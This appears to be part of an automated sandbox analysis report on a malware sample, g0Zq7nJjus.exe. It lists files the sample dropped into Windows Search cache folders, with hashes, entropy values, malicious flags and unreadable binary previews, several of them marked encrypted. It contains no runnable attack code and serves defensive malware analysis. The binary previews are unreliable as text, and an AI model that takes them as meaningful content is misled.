SHA-256:	5AFE0E2319BA657BB06DC0B287370E733CCB69B005618FD7EC2A03781E34FA7A
SHA-512:	7F4F4443288CA6FDE59662D1146B19A8C44F335AB189018547AFF3A041DD82B617384DD04B82D1B73DE937D80B6840A3568B2DC53F4C9BFCA6D579CA51E30DD6
Malicious:	false
Preview:	{.".T.\|b.....\|S....3.4.7.1......^.]....4....q.r.....Mu......gDm(..e..........?..{Y...(....Y.'......N.....j....~..0k.....69.....6.=_...S.....E.:.e-.zd.vL.H.n(K...w..V'...0...a....39?=y....%.+Q .Z.n/......R....T....A!....} .../.;.%&Wi'.<aH...-.k.A.5PLH.uQ.e.....s.>.".OXF ~.To......@xP....pKq.>9....d....?..w`.V..;0q.Lk=..,.]....(.@....8.=u..!S2O........\|..$.....2T..!.C...%.0.+...r#...L...m3.d...5...%k./.!...[{.tR..........6....wJ{.kE..X'.Ry...P..o.72..o..o...o...Dr.V.1....Cu.-.@$....SlJ.n!=..DV@.[..~....5....g{s.Zl.'..k..L.P0.....]...Aq.E>...cA..9.{S.W..2.r....U..i#...1...q.Nv....Q..C.=..0.%..{k).p.f.Pp[.%]9lmQ..w0FZ.(...o7..).).....gK...o.,..6..a..~.z^...T...>.....P.N..5...q..%.......B.......X.C)8.@H.<Nw..D..,.......1..t.co.i....>8$o..>a.1@[k.7.....x...)KI...<.#.k..f._K..c.._.Ez.S...o.g..L.q.y......OL.V...n.......4...d.-..1D..... .......e.b.#..(-.n.F.1vg"...L.>(...7.le.F..0...OS...Y...&6gk.*-c.......c&...N4...r..7..G^ir..n.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3190369045531842
Encrypted:	false
SSDEEP:	3072:VLUEYcfD3y57pVP5qbwUp/knPprxYL1fkLhRJtGo9vzH8aPai:VLUEHfAqbwW/knxrxYLlGgczHB
MD5:	C781D24B494B5F57E377458C212416DD
SHA1:	B897269C8BD02BDE7A8F0BF3699624F78B879675
SHA-256:	AC75E07256F595B3BAEB805623DA802EC5D16BCC2B2C51E300E97D2A9D243A57
SHA-512:	C50B675AFD993D46C2BA20A1C35925A8258F8EFAAFF13632A0C7D46BA2FF164ACCC973B9E413F9D3888B40C810AD6DFA987AD478A32CC0833A1D9844034E9294
Malicious:	false
Preview:	u>.....j.8@/I ......-r0..pU..EQ\Bb.n.7y.8......I[...=..GW.......8p'.k..9....`m..^o...........W.2+....40.(k)+.ih.4<p....z1..f.#......X.r^.Mi...^".w.x.4...v..Z.^o..{...f...u.$.ro7...<..y...8.]h.0\....`.y....b. =..I..0%......K.T....R..>C.&/....P.jNk..CxO.8...D.&..6.0[..MG/_.6+.#.CG.........D^........]B.Oiz..T..........".n.I...]..]V...e.\|i..g..I.PQ.>...)..........Q>qi.d.Ww^....U.*....$....vF1.(..k.g..(....~U...T..................v.....H...{9vj}c....9,i.-2k...ZwN...`....:E.5..E.A:?.V.&"g..di.Y..5.... 1._1.(.`w.2.._...U.Z..R...7....LN.A.$....4}..4w.Y.<.h.J.A..z.~...O..}..b4....D9.3.{.HU.Z.... .f.Y....N.ZW..o..[..$.N....).......We......U...(_v...&..>..F.@..Jj..y.<.2.^.s...v.%.Q.(y.$.}..<^e..7......<...G;..y.X.......g.a.B;...>%A.yTd.PT.....:.c...R.....N..m._V.~.DK`Q(..CHl"U..`.D .vr!y.P.U....\|H..GXn. }....z......Z.5..M.....i.v.w.u8h..6.V ..A.......Y...2d3...6..R....6.v.1.......X@W...y].N./.j......D.7.".S..$Mu[.y.U.!...m.%.....:....,.b...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988169053417057
Encrypted:	false
SSDEEP:	384:Ljb3d7U1HH2BwRj6vlgFUCtU8ou0YNKOCJhD8roTI:/b+12BwRjAlgeCtULSwD8ruI
MD5:	B139F5A5011484FB0E25D1ADB7AF55DB
SHA1:	BCCCE08544F76467F21F8D2BCD0F318E3FCA4255
SHA-256:	A5B332C949D372747E9FFD8A6059ED0B4D15C9AC96593244F1E0FC8BC98CDF0A
SHA-512:	998785DC53726F897C6ABAC853B12945D945019CA841F3D98A408EB583E3FF2A03351C472A4E7CFF9655B1C164DF05E6DDD059774630CE09538E30DBCA14B9A0
Malicious:	true
Preview:	.....B.%...U3..S..h..L..U.j..5..y.T.m.!.Z..y.:.....!...h<\|...cAc.$....%.9j#:O..a.;b.<..p5...l....c...H..b..0....@.T.....p...xC.y..Ou..`nS.(.6z$.......A..3..........c..R._/.....L.#..Mb'aj.......u.;...$..X.=c.../.....uz..iiX.....).b9MF...%Q.....IgJ..z.x......J...P..$.&..t2...%....L[Ph...Ug.0.L...5R...%.G.`..1l..'...[.L...X..Z.i...av......\|k.9.....'80_.d.l...].W..?x..:37un..:(......P.......bpB.. jr.0..9i ..MNp.X>.W0...k.....y.D.}..~.I.T...\|....!.ZiO...^eT..9....m..jsR......V.5.C.]...F.O<....5..lK.W[.9..5!qg...~...V.....a~q....XJ...a^L.JNqk...r..$..]....S,-......4..O.N!...x..h...*Y.(.MX..Qb.sd.e^i1Fx......u....{......!..@.}7my..yx.t......d.9...H...1.qs....6V.]7Hks.C.3..%...S....^5...vMJ.^..0w....a..J.N.#<..D.G]n..Bk.f.`....2=(s..nR.C..M...U..e..k..S .i....E1..i..._..v.d..E.a....r.."..l..ms..&Rlap..q..4P}.X.Kp._...\.:.g.G..#B...R...............f..5...H+.'.V...j].....z.s4.G. ...H.......]Y...L..K....~...%Q_.6.s....y.....8...\...m.F.,...B..:....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.0872924896184604
Encrypted:	false
SSDEEP:	3072:RhIiiJrV91ybzCgHXXvUICPk3rYfIM3cfT7YNe82NNjakWHRrCvaxghaxg:RhoezCwXNC8sAkcb8U82NUHM5d
MD5:	3A17A846B9C8A050BC490C50A6EA9E03
SHA1:	0F77C1FC5D068544EC1189CB920D6558374509D9
SHA-256:	5D04EF182D59DD929E2F244BEA5338D168EAF84854AD9B0207D4B8870CFC3D9E
SHA-512:	88A8B7434736296170C9322C6D829C95BDC6EF4E7A3A39CB74DD2181E6E9262582D815B78CD915247A5B52549B55BB72C639A1F6495CFD2989B20442B4A1101F
Malicious:	false
Preview:	...E.c.....M..<`_....x...L.CX .jP..!.^.......8..Z.]".......T.J...}.z~Q-u.......X.z.LH2..(..w<.....&.?.0....Q.{..?^....SX~.R%.le"+mX...Ya.k..8.-_......i..f..M.H....k....d..qr.`.;..9%1.........v6..X.1..1....g......!4...... .&e.u{...A.z....u.).i....0.md.+.y....\...^.{8J.v..D.$h.....m..ZI....C.....>..N5.....sF3..bih.t..ae....$.7...I.%..#.=w.E].%gs..~.p..e.......,.k..l...2.7[5.....^.^.U@.Q0.!>.o"..\.......W.....E.M...B.].0..W).YB{.R<.-...E[...c..{I[......djZ.4MTh...Y..?Z.S;x.H........F{?..._?.\>.a......F...>6A.Ol......1...0).Zj\.?i...V@k}Q.ycE&......._+._L...{.....n....=..n.M...WN.a.{l.........?p.A.2..M..r.Qb-H\|.L..U0..0...9.+....+.9..!..dZ."y..j........`......Y0.QC2...Z....=......}.`.t"..A>..~....].....o..YDI.x........UA..8..#...i.t.$f..<.y8Zl.......M.)....eW+...S....c.vj..g.G\.t..8..d.+..@.... .3j.z...6...W.p"..+mOuU...!.+...n..moJ..B,.....u..x<=.=-_..)9)...Kn4..!..u7.v. mP.3{.m_a.TQ\|5..[9....w...Q.._".x..Y..]......jO6E.F...m.......P.......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988119312134844
Encrypted:	false
SSDEEP:	384:vpvAoCQBQj3zoRO/3umJ1QVMa8nUOX4wRnxgV1M6szSlJKHlIrU8zUrJF:vpYFd3GOWmIL04cnGaSlGIbzUrP
MD5:	E94F277DA3393613A8B30C9B0848F20D
SHA1:	B7F40A18823DCC5F25E705C9993A94F2DEF999EA
SHA-256:	CE92BBA0A02DC5FAF6B65C0525AB7192E09286A91C73D7C4FEA170BC89EF0CE3
SHA-512:	BDD15F28084A60CF2F0301CF594E05331BBF23EE5B55958998C5A90C6546E89AE3B0688D0A2360A56AC1ECDA9660CC046D23B3502053DB319E2418549CD01E7E
Malicious:	false
Preview:	...x.H...F..k.$#c.....2m.u3...lv.;Q...s...syi...c....Q.W..;..4....a...K.)...N}.jK!?.@.q ...w4..h\|6..$.#...B.\Y..9!.......m.1Md../..(....$.......E(.E'.2....D8.....;..q..- '....n......3.,u...].H.5..l.-.)^4.-fC..;.%~....}..$b..l...:...\."..@k..<.i.p......w..(h..^.c<=.... \F..\|L..S.Y.............!..q.....fB...Cn{&..5...G..r.'.V.I(..`....-M=g...O.Z1)..C.).={.Q.T.}W...B.c...'&.i.C.o....31.8R1.:.......#..l#.A..7......Z.._..8....`,Q...5c.....:[he.w6.Y..0.3O.....j.....tt:...\\:{.6.Y.C.y..zQE }.(.i..k D.<...B.X%.......(.....y..>.l.i.....]..mR.....x.x,PQ. C;GpQ:dVl..O.uS.%f.bX.4..;..j\95..d...@o\|#.~A/...n^.X".....m.8g..8...H..#$....[......H..8..C.\|:2V.W}!.`.`$...xb..&'........G..N..u..gaQ.bi..k..>..y.W].2-.Na..RiK. wA.^f....t....p.dg.......s......2..A.o.....J.IN...[...x.k.dDI..NR..`..o2=....\|.P0..............E.E9.....}7:h.]K...u..............%.CA[......<...........!r[...a..Um..zH;4...*Vbes....5.b..u.>....zOF0..F..v3s}..u..Z..M7.....v

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975499759016319
Encrypted:	false
SSDEEP:	192:YLNw3h5t1+nBaLTzHKe9ceIgJaMssMx8/R/F7NU7zCCrHvNhz0X3:YL23vvMWKAHlJ8O/ZFZOzCCrHvkn
MD5:	43DC142DDF3FBA1BBAF3AEA760CD7A87
SHA1:	30D784F6E3068F4F9B4EE6B80DC14EB386C7BCC7
SHA-256:	F340434A9AFAF398FC3D854D5584853ABEA16534D00B4271C2CC21C6EF34CD58
SHA-512:	5312BB4273E16DEB31B66A09D222649C1E683591ABBF29CB4ACD138ABCA590CC04192D1A6E5876FD1FFAE72EB75CCB657714D0CFAA9CE163D249ABD9FF4D584E
Malicious:	false
Preview:	..a......<..).......a...j.)....7Q..Q$qI,...2@..:.....EnO..D.F+p.A...?..:..L.9..B.......U...9.w.\d.l&1..\.d..J....e.f.0.y.-[l.?..X..3;q.....bJ..S.'C.....5cS.!W.V....A.V..Mn....}.<'.......F...U...Q..J......m..y...EnO../..X.g[Tp.T.......E.0.pH.bH.]6.....D#.......y.t...gC<..!... ....!..5y..........?..Q..U7.Gxi;...=....4q.f....U..$....; ......1-....vCs..1..:....&..>?.>......+H.......%I(..L$.}...Cr..TL.1lN.#........o...l......d...nxK.wQ....`..K.F.Z..P..<.....!..S4.M.{.....uC.r.!..$H.....@.Hc..mT.Zg..&2\|s......J.%].uk.....Iu..p...5}uM{,lf.H.X..O..C...-..i..E.2....5......p.o\.r...t....'D.D....8...\............"...5'.;6.[I..Q.....O.7..\...>;..=.......i..@.12...I&..N...z..C.f9v...P..x..g.A.rF.LB.....y..4...h._.k)../(..8r%...:..}.PI...uDb.#..........r3....H.;../.$N.n C[...c..7...p#....@:..%N....#C..........E7...@(._..'....z7....*....\|........DA.d....>..F..9....Tyw.\|.MR.........(.K.PwO.{......Wk.j..'...Dg-}..,....q..i1........E..J...7.I?.-.r1.D

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2465457665129627
Encrypted:	false
SSDEEP:	3072:L4TUxJyzmQsw0WqyJj8Zqp4yQXGP2c7+9FhTT1ypo:EUxSfdjUqy0h7+ZTb
MD5:	27F88B04E8AA6566A9CD4AA8DD938721
SHA1:	72E2A3E158DC82E3A23FAACC6A0C88F790555D87
SHA-256:	6CDC39A1C55A8BC1070F3826E9E9756B813DA740C2E0EABBC3EC3C35A33A8CBF
SHA-512:	CCDDDD2FFB9BFF0E47337D72C5BD643A3A37625DC9CAF941825D26AFDF9E8343C255F4E27A56FEBF1DE636CA42BC423813AFCA4D63DD68575A7AA6D662181BB5
Malicious:	false
Preview:	......VyVo...oSY..t..r.5..d.....#r.P...X.e..3...P..H5..~.:....$p.....L.^uU...d&#..~.>flf.".CH4}Q...&...8.P6../d....u...x..a..k....y...2..j'...\|n..A......_.F1..F...I......,..(..$.V.O...u-.bE.~..M(..a.?...\|^......}....`.e...R..gd.A.~...7NV.6....?.lTTf..r;Pkv.{.{r3l?.AJT.......3...q-.mA...~..c.N...J.......#.%a...e........_3.Lz.v\|.M..El.X..=.B..;tmx.>...M....cD....o.Q.X.id..p..=Rt(]5..%'..E...M..O..a.2}.O.W.F..P.O.@!$.....~........ef....y...`.).......J.......z'..9QW.\... +.....5!DR....V=[..c@+8g%D~Q..{.8.Y.3'y.`..m._3M.a...b.....Y.x;.....x...@.d.../s.+.;Fd$7.#[.v(.>..6.,T..K.l.}...x...V....Kw..5.E..^.cKY...Khgz.....1..h..Gd,.......Q."2}.....$....=N..3.s...=.".-.M...![..XW...8............{...,.i.S..e."............Z. %._.......WT....wD..#6{Thh.....4.8..Kz..y...{..h.n..8xE.z)..T....fL.....K.....u.5E..4......J..mh.F.%..U..F..=y]....u......S.M....<Y.j.....!$.....O".V1...(....<.wQZ.Gd...,.=.Q.....@.OJ-.~..T..n.....Ip.....zHT.'......s6Jb.!*

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208200111103054
Encrypted:	false
SSDEEP:	3072:hnzRSZ9lWHYd/O02K+G547bgpHs1ec1fA+3iUVZXyk:CZ/W8R2BG6bgpqlZ/N
MD5:	CEEE8CAD817AEAA957C3831E85ED8AF9
SHA1:	4E18DA7863D81641BEE7289ACEACEB9433F51807
SHA-256:	7C7A2571253ACA255A20E100DE01BE598BA28AC617418D18E1DA155D660E84E4
SHA-512:	5BBF49C534A7F8B3339ADA2E82372536E57F1B68CF755DA2289A2386682F1DDA36167B5608DBA3E03B02D13CCFC34DFB26468DDF22EF1C0C6A994AB401694EF3
Malicious:	false
Preview:	......;.....o.t.....<.,8C."..1.:#......Iv.K....%.ipU.'..>....p...... \...wp.5~.#.7...#.ld.+8$.\| .f...N.}..5..)I.).....Tu.......6.i..w.....b..,..d.....I.$....%..n.6-be...W..E....L=-..6....H...`.7..z....;.....~@8..TB.k.K.%"q.?.h^..^D.}.w.a.f.X.2.n-...R..^.6au..n..QI..!d.+h?.2..9\|....... ..&5>.<Sm..(.v.W.qD..h.....Gri........`.l..R...c.....zk.{....7&p"'f#..L..y"..\|..li?.Y.C).f..PfL#t ...B....~.RGCY%Y.p.0.?...C.5n7..i.r..f....2.o.....]...jU.P..@.p.a.^&....e.f!C.bY....Wa..\|Pq.0....u1..).....F+/[..$T..+.P).m,.;..'...uE...."...c.\|.S....\|.....:?>E.E...A....R...5.v..542....._.4...]?E'T.;.G^.....0..(...Q.zi.H.....5....=LX...(........C.ne.....Y.{.8B.c.....e.h....b-..,.U.. Q..KE$..Ql..p...U.....<..g.}..qp.r..r,5...$.s].y.Ni.0h)..]...K..{VH7K....`U{..5Y(..+.......O...MH..YM&./..-.a........_jB$...5.-....=Y.14...I8/.fP&s.B....M.n3#..!..$..n.../.Z..=..nD.=j-.5.M......Z_2..d0.M..-.7..`..l...6..&...)YhcT..W./....W7..(..s_..}.FQ.s5h..<lH.66...F.\.\gX

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2082783529933585
Encrypted:	false
SSDEEP:	3072:u97RnDnPpZqWO0tmtnJISVbgmckfW2t0rcn+NQByTUTYzGY3iWJo:u95DPpZk0tUn+mcGW2ero+N8YU03o
MD5:	76BD4BA18671D3E411EF16369A05EABE
SHA1:	503D0EEC6A6C0319733984E7A936F2CF9E8EDC85
SHA-256:	06D0CC1C25AD348CD2E90BF1D366FA350D7AB30682640D1F00ED08FB63BA31D4
SHA-512:	5126370E8DFB0876CFD8AF257F278D432348C0FB2E5A8CB13042B949E2A5172960145DC1F22C4CDE1FC5FD4F3671B3CC258878BEED1AD23E540CD4607635D7D1
Malicious:	false
Preview:	........C#..K......z..b....#..W.74Z3B.n......C.....9...]......X..r4.`r.......-......;...c~.KR.Q.~...\.....9}e,..u..R..? F&S.t.5._...d7......,.:Jgr.2..........Bt...8]u....Z.#...E...C..!.A.@.^.r..!..Lu...y.h.X..h........i.T..i7;.^Cu...j.2t..pg./4...lA.A.\.Q.]uT.(...$.:....m.....N... .:;ip=...[[.1....U.\|...wg....T.`Ew..Fb..N4Z..!.H.tZH.u.K....3..S.f....i..-l.$....p...Pf.q......?.Z.Y........A._.k.&.9+...F....v..x%..hOS...xM...'..z`[..c.%.....{ +VJm. ..Q.}...Wq....oK......wu.@.rn..M....9....WA..8....&u........RB3.2.M..u../e.l.Wx...=j...Y.....X.kGH[..#..G.r.........W.Vn5..V.....8.....<..vXlz1..`Z..-... .GxWHC..7...`.n..e...l....s.W...7......pO.P...L.Hg.N2<#.o....Re..=.XX...g...s.t.g[j.....EvU\"..PG...H.~a.IK...C.0...5..6.e-.Z.2.j.Z.,..-.q..@g.S=.....8..B.......!\........&.6..&.......4..P....69..[.6.2Wo+..G.'......SR...F...WS........x.n.4....qO.e.x.........?b... ...3..].......7.G.GdgYKC.d.=G?...WpK1.........;K.%...v..fz.......>u.6..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2088135757303644
Encrypted:	false
SSDEEP:	6144:RgBfuQEJCKfSsO5IkO66TG8XaOcRYVjE4MJ3L:ut34O5IjGOaDRAE4MJb
MD5:	F7A6D7A2E1DD5B921879A9044E535191
SHA1:	CB5E0CD41AB68C1644636D32086E77FA9F262C15
SHA-256:	A1366072E74FCF8EA49C35FC4B12E280A6278046CF0606257959AF2C6057F951
SHA-512:	A0B798BA50D99F9DC5FA3D231E9B59DF160CE812E9923739B504617B0D3440D6BAB956D9702B8E1598DA85D94731FBC48CF59E8AF520268484EBFBA7AEDC0ADB
Malicious:	false
Preview:	.....g%.~.8.~.../r.....=..:.X.01....lf.v.(/.N.q^rS/.u@g..QS1....=.P...hd....O.zdI..........5.E....+.&....`Hr...4.0..B..p.w.)..4..G.....;.@-C^.L....TP6.e..;J........E...V.&.ZbL.Z<=%.B...o.&.....9."..(\...>....19B.."b.C.&......{.q...._Y.*...]...X..L.0$T%`..`.#99..'......\..`..Ss...r..!.i.z...xBn..'(...&..v.5.Y0)......\|....D.d..6....N.DM!M..'..........f...b......,.......q....h. ...m..c...5.r.1.Q.w........3S....F.S)2....,.... ......?.`.Q.LC<.Z89.Il....eO..]....j...`.#.?n.2.~.:2.k....a..l>.?.........y.k~...G.7@...=.......N../.ig....i...A%0E......m..".(.......<?o.1D.r.A...sk..........:.Z!........8.S..Zn..4.l..@II.]k...oc.Z......}-..'z".........`;bl...CC.7.^Z........Uk.."A.Ol.nS.."^...4..?)k......n. .r.v........''..O...I...ZD..O{.u.;...../..........R.YY......=..]2...........M..6......VH.......$.D...w.3.2..q..;......s.hV....@.5{.....l89.h%..N.Hs!._.c..#..e..u...o4f...Xi..j..y.Yn@.5K...{....4.D.o~..'...;.S.u.8qn.\|j....w...B....r]......F...$..9m.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{1e57236f-e9e3-4acc-b989-cc0469c9f062}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	37506
Entropy (8bit):	7.99501614053757
Encrypted:	true
SSDEEP:	768:0e2qJBIRan6dZg9/Rqg9jNrcXIxaPgU9vim/WFsqE0/I4dAXF5:0e2qzIs6dO5haI44YfWfEUndAV5
MD5:	BFBB0C75010801C15577D813842F3EE2
SHA1:	A71F72CB0914372176B2B12DD580D2DC2B5027B7
SHA-256:	E567E15DD127E69A41699620ACFEEF12AC23931BAD10825986D24CA8CC4A565C
SHA-512:	1C052BBA4495F31C9C016614334C75C9ADA0CDC1F932EA4225774332FEE2C73E6333EB2E5056B187502950AE1937C6FA95F45583B5F031E3148C3569CDCF8122
Malicious:	true
Preview:	0.0.....v.#.<L.Y......hf...6........T1.Q...U.5...._s.......a+....F...LS5.z&=...H......V.B.Yh..QJ......{.h....9.m5.....>....G..7=...b.c^_..\.(...R....-.Y...=..LX];.).I4.I."\|x..O....p.W.Yul.S.%...../\.%>..d.P0.!.Y.tD..6M..!..Z.W..8... .>....qZ......u.J.o.;.....$...x$.KKw...Hkw.L.....mv.X.w..P..n.=......-...ks.......q..Mz...D.EU.Yw+.G.`9C..W....\..~......%.H.......8?.t..G Lr......../\..Z.4..pe..3.&I...k...+.S..P.MX..v.>.k..%'.uD!..@. ....35.F..........dK.ZcC...h.+A.....b.,ZC....n.......;.....~!..nU.&..l....e.4.1s..v.UHj.2.,....IY%+.G...w2....."X..{.....bm.....q..C!..F..-...L..}.$4......T....E...hi..y..`.U..=3.<]V..M!.C`.t...4;..fT.2W.+(.J.{X...`....GK<.vl.@.V$v..0._...?.\c.X+),...N[...p....._<i'.r...b......,1.Z<.AE..--...^pC......0..=.!c..u..)L...2....8...z...zW"..R#..{...(a#K.h..[.1.Pvk.0.....H.0D..U.zT.O.P5....v...........H:...J..d..[....P.Qp...s.......X+..Y.Z..S...H5...1....."f...7.bR........S.C..o....`Rf.?..leMw&=......Y....'..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{1e57236f-e9e3-4acc-b989-cc0469c9f062}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	50409
Entropy (8bit):	7.996578766420752
Encrypted:	true
SSDEEP:	1536:4wZkdoVh7ltdafLtXH3eZLcgkdHpNDh+LE:4En1aTNO9cnHB+LE
MD5:	3A7AC42CB2DCFCF24BDDC063D1EB1ADF
SHA1:	0B8D636A1B5F160FBE470A83182D15B26937CAD0
SHA-256:	ADDBECF8467CB5396F9CA8F78329E3B938676191DA45D78070B18C909A3B3A70
SHA-512:	C8E6F03F907A3B0671FCE26F512B6A820707C8D26476212E054ED279DA623BB972584D708733F0A1AF6C240718C1FB460A5BA2F6E5D99542F247F6222FF9F017
Malicious:	true
Preview:	.......pt.....1/..%'uP..K..~..m...l.].A.{.....].\..c9...N,..~.y.^..`..<O..i.....{.J.Q.,,s.b...D.S..p.m.l.K.;l.....~..@/Q.\..6..A.jg..34.Z.1.......8.4f<./%u.u...dp.....x..":.}.M.^T..Q1...[.".....g........ .%..Zh[.y....c.n.[>......D.M..D.&....W..[.5...`...........8Y.}\|.K......-._+...xd..n]....a.QAGD&.~...to.\al.T\`}.W..B..k.x......5.r@.r9.Y2.7.R....=.&.8.x.<.Z..h..6-...&yp.~b...X.....t..y....z...4!.I.Nw...E.R..jWb...5(..n]%./.u.6..8\|.lF..].(..S!9..x.dIjt.O...........,;.u..v;ru9..6...W.H.."..B........L..$c\| .?.-.F..R.N-..../ZQ..'..._.#)R......,2..,....w1.B=...yen.y(...[..e.R..^..b...=.!.r... .!....ek....r.>.....$A.ax.&n....7.4..m6..Tn.l!....v 240._....."vNyC....`.....sY&...!...k.....$}...d...1..q;.o..B..s..y....#.........Y#.....ri.N..9h#+...&m..\n!4....}.#.....>0%..lI.....vcR...\...ezO..t.>.s....A......-...v..........V..6.D.X....CS.....$o..`.u..Gp.K...#6t&]...j.8.kHJJg.....J.......E..WN.C.?&...)2\|.L...kF..rWD..\|.U.z.9h...vP.1"%..U.TE.6...diZP

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{1e57236f-e9e3-4acc-b989-cc0469c9f062}\Apps.index

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1124885
Entropy (8bit):	6.545971021165781
Encrypted:	false
SSDEEP:	24576:VxBtizt53GYfoyFxz8GfoLr7YfoyFxz8GHkKb:LEt5df1xz8GfMwf1xz8G1
MD5:	B18ECBCF330A880C25B30F2EBDF2A095
SHA1:	C38427DD5A36FC32A38D6BABFE6B212E7A5070C3
SHA-256:	4AAB53692243DF1AA703DA6D3EAFA8DEAF0D64B9A523B301802649C6444C8B1D
SHA-512:	0238417842DC74EB0C8891695AB27F50478582C009C1D28A9EF3FA7563AC1F691CAA030119F148DF472226BC6794DB93130DEF8327E2A5A536482BCC96F5A4BA
Malicious:	false
Preview:	Ej..D=&.....2}"qZ...n...i...k.2..r......E.......<zc.v...y....._(....7...jG.<v.....".Z......7W.I..V.;.1..../.......P.&.........2K4N.w.(.f/^-#<\|t).].<........!...tGb...S#"....\|0Mut.xS..^o.Nx...L...>.:XP..-?...d.......'3............./...@.CY...B,.K../.....g....45.Ie.....]:W.d.lj.....H...~.R.hE...yG.Ja..J.+.v.X4+~(..s.....`Y..d$......I......V.=8...BC.....;.$.FKJ...aq.2t...32.5..6...O<....09<.;.......L............=..k...hE.0...`.2oN......... ....h_=.........EF#w.0...Kg..b.." .D0.4.H.]...q.?.E..f.P.Kg...`.m"o...1lG,G..Q..~...........)#.zJ-V-.bS..@s...!.1..&...........v7.....d.U.`+.......P....p.wE..m@Fx......N........RKK.%..'.../.p..@6/=...f..-.+..e.H.;]..5z.X...a..X.......\|G......U..6.dc......v?8;..=..v+..]k.6X.m.?......M_...^9._3....q.&...{.\C$cRe..6.Q.......'fh.0..o.x.u.....a. .lX.Z^o4..i....@W(E..Y........1..l(..f..!g_..4..@.....V..I..>._.} ..}...SV."..8.b>.k...c..XX..>.....cu...C......Z...v.n..V.../...8".(.H...+.:Nc...A

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{37816485-15d3-4072-8a68-fcf015298878}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	37506
Entropy (8bit):	7.9946248550647185
Encrypted:	true
SSDEEP:	768:N4w9KM9EPYYzFdXGHjBzkro9amp+wig4vgCb2R3aTWFdZA:ND5YH2Dmc9tphiJb2NzFg
MD5:	87DC27CCE4B95F3543A1D25B05A59817
SHA1:	9C9D4370A74AFC3DF22923DD82163526D18F35BE
SHA-256:	D3C0553635BBEB44ABF0D558BECEC171DFDEFF38DB0F364360B458020AF3E97C
SHA-512:	970634D28DEA14ED7084C546002156351AAE42F3B39535ECE9CB56408497B1E1FBEE94215F2B686CB46537DDF409BC81996D59CD60865BCE6A1E431F1AC8F6CD
Malicious:	true
Preview:	0.0........\|.s...w#..........f..HM.t..qg).....F!C.Iv.5.gh....P.j.....h.:...P..J.^e:...5=.......eV......~6U....$\|.d.5b\..(2...qe.....#...O...K?..xbG...c..X\2........a..A.J.c..F{.uo.....!.4...(.[..V.-._b....f.......-.p...S..0..0..<..(.H.D"...G.\|.oI..6.N....c..4D....}1....l..#...J(......Y.Kl.%~.U.8Kq:x...5.v\MIJ.d^3t.XawL..W....'....C.._c.\|.fi...&......J.N@..%8.p=..S.D<.....CZN..R....m.h..=..B......#.'..jynF...j.....2.....b.9..Dw........t.^]\...`.s.3.qn.M...r.~.#m.=......s8.}.gW.-\|.b..dt"...U.p..T...0...]-V.1...2V......5.P2...;R..9..g.~..a....=Vz...$?JV.$.tzGa.$e.K.p./vc..2..k..eaE7.f.....u..6.+.{....<..(.vg5......v.0.A...,...l.=J.F....VtN........3...@....0z..o.I.....U..o..r.H.L.D0do.....;....w?h(.........z.....7.Hw.0pQz....$.(N..l..TW.uY.sh.U.V.<.KK...\z........9m\|'....Y.C...Fp..%g......q,..#>W.L..\|AJ..]...TQt.......).wt._y..0Z.;b.O.....r..nzZ.F....1....i....K.O..[..Fm.SV..eG.nU.>.F..M)....LM.......O..7.1.....1..[\....Y..O1..g$..=...S...F.

